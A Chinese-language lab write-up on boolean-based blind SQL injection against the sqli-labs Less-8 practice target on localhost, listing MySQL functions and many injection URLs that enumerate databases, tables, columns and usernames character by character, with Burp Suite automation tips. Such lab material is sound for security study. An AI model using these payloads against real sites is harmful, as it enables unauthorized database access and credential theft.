sql注入——布尔盲注

场景

sql-labs中的 Less-8

一、主要运用的mysql语法：

count()函数：统计查询结果的数量；
length(str)函数：返回字符串 str的长度；
left()函数： left(database(),1)='s'  left(a,b)从左侧截取a的前b位，正确则返回1，错误返回0
             left((select database()),1)='s'  同样的意思
regexp :     select user() regexp 'r';   user()的结果是root@localhost，regexp为匹配root的正则表达式
like :       select user() like 'ro%';      匹配与regexp相似
substr(a,b,c): select substr() xxxx;   substr(a,b,c)从位置b开始，截取a字符串的c位长度
mid(a,b,c):    select mid(user(),1,2);  mid(a,b,c)从位置b开始，截取a字符串的c位长度
ascii()                              将某个字符转化为其ascii值
limit 0,1  元素索引是从0开始（不是1） 从元素索引位置为1的数据（即第2位）开始输出一个值

对于security库：
select left(database(),1)='s';前1位是否是s
select database() regexp 's'; 匹配第一个字符是否是s
select database() like 's%'; 匹配是否是以s开头
select substr((select database()),1,1)='s'; 匹配第一个字符是否是s
select substr((select database()),1,3)='sec'; 匹配前3个字符是否是sec
select ascii(substr((select database()),1,1)); 直接回显115 或者是空：
select ascii(substr(select database()),1,1))>110; 如果大于100，就返回1，否中返回0

二、进入正题 Less-8:

Less-8是典型的布尔型盲注！
判断语句：

http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and%201=1%20--+

2.1 注入前理清思路步骤：

2.1.1 判断出数据库名

1、首先利用count()判断出目标数据库有多少个库；
2、利用length()遍历得出每个数据库名的长度；
3、利用 left() substr() ascii()...匹配判断出数据库名；

我系统中的库：

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| challenges         |
| dvwa               |
| information_schema |
| myspace            |
| mysql              |
| performance_schema |
| security           |
| sys                |
| test               |
+--------------------+

利用 count() 判断出数据库数量：

and (select count(schema_name) from information_schema.schemata)=9 --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and%20(select%20count(schema_name)%20from%20information_schema.schemata)=9%20--+

利用 length() 遍历并判断出每个库的名字长度：

and length(select schema_name from information_schema.schemata limit 0,1)=5 --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and%20length((select schema_name from information_schema.schemata limit 0,1))=5 --+
匹配的是名字长度为5的数据库，即 mysql库。

以上只是思路，我们重点讲解 security库，即 通过 database()返回的数据库
and length(database())=8 --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and length(database())=8 --+

利用 left() substr() ascii()…匹配判断出数据库名:
由于前面通过 length() 得出 security库的长度为 8
left()

and left((database()),1)='s' --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and left((database()),1)='s' --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and left((database()),2)='se' --+
...
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and left((database()),8)='security' --+

substr()

and substr((database()),1,1)='s'  --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and substr((database()),1,1)='s'  --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and substr((database()),1,2)='se'  --+
...

ascii()
ascii(‘s’)=115

and ascii(substr((database()),1,1))>100 --+
通过"< > = "最终可判断出数据库名第一个字符的ascii值为115： 即 's'
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and ascii(substr((database()),1,1))=115 --+
...
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and ascii(substr((database()),8,1))=121 --+

2.1.2 判断出 security 中的表名

mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| uagents            |
| users              |
+--------------------+

利用 count() 判断出security库中表的数量：

and (select count(table_name) from information_schema.tables where table_schema='security')=4 --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and (select count(table_name) from information_schema.tables where table_schema='security')=4 --+

利用 length() 遍历并判断出每个表的名字长度：

and length(select table_name from information_schema.tables where table_schema='security' limit 0,1)=6 --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6 --+
...
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5 --+
通过控制 limit X,1 依次匹配出  emails、referers、uagents、users 四个表的名字长度。

利用 left() substr() ascii()…匹配判断出表名:
以 users 表为例：
left()

and left((select table_name from information_schema.tables where table_schema='security' limit 3,1),1)='u' --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and left((select table_name from information_schema.tables where table_schema='security' limit 3,1),1)='u' --+
...
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and left((select table_name from information_schema.tables where table_schema='security' limit 3,1),5)='users' --+

substr()

and substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='u' --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='u' --+
...
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,5)='users' --+

ascii()
ascii(‘u’)=117

and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117 --+
通过"< > = "最终可判断出数据库名第一个字符的ascii值为117： 即 'u'
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117 --+
...
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),5,1))=115 --+

2.1.3 判断出 users 中的列名

mysql> select column_name from information_schema.columns where table_schema='security' and table_name='users';
+-------------+
| COLUMN_NAME |
+-------------+
| id          |
| password    |
| username    |
+-------------+

利用 count() 判断出users表中列数量：

and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3 --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3 --+

利用 length() 遍历并判断出每个列的名字长度：

and length((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1))=2
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and length((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1))=2 --+
limit X,1 替换 X（0-2）判断出 三个列的列名长度

利用 left() substr() ascii()…匹配判断出表名:
以 username 为例：
left()

and left((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 2,1),1)='u' --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and left((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 2,1),1)='u' --+
...
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and left((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 2,1),8)='username' --+

substr()

and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 2,1),1,1)='u' --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 2,1),1,1)='u' --+
substr(str,a,b) 通过替换 a 或 b 的值来判断出 一个列的名字
limit X,1 替换 X（0-2）来换另一个列进行判断

ascii()
ascii(‘u’)=117

通常情况运用ascii值来判断出!
原因：left 和 substr 函数在进行BP爆破时依赖字典，如果字典里没有那个字符，则很难匹配成功！
and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1),1,1))>100 --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 2,1),1,1))>100 --+

2.1.4 判断出 username 列中的信息

mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 13 | admin4   | admin4     |
| 14 | admin5   | admin5     |
+----+----------+------------+

利用 count() 判断出username列中信息数量：

and (select count(username) from security.users)=14 --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and (select count(username) from security.users)=14 --+

利用 length() 遍历并判断出每个信息的名字长度：

and length((select username from security.users limit 0,1))=4 --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and length((select username from security.users limit 0,1))=4 --+
limit X,1 替换 X（0-13）判断出 的username列14行数据长度。

利用 left() substr() ascii()…匹配判断出username第一行数据:

+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |

left()

and left((select username from security.users limit 0,1),1)='D' --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and left((select username from security.users limit 0,1),1)='D' --+
...
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and left((select username from security.users limit 0,1),4)='Dumb' --+

substr()

and substr((select username from security.users limit 0,1),1,1)='D' --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and substr((select username from security.users limit 0,1),1,1)='D' --+
substr(str,a,b) 通过替换 a 或 b 的值来判断出 
limit X,1 替换 X（0-13）来换另一个数据进行判断

ascii()
ascii(‘D’)=68

and ascii(substr((select username from security.users limit 0,1),1,1))=68 --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and ascii(substr((select username from security.users limit 0,1),1,1))=68 --+
...

布尔盲注基本到此结束了！
运用left()、substr()…这些函数，可结合BurpSuite使用字典，半自动化测试！
后面还会补充时间盲注方法。。。（再不开学就得毕业了！[滑稽]）

时间盲注——>点击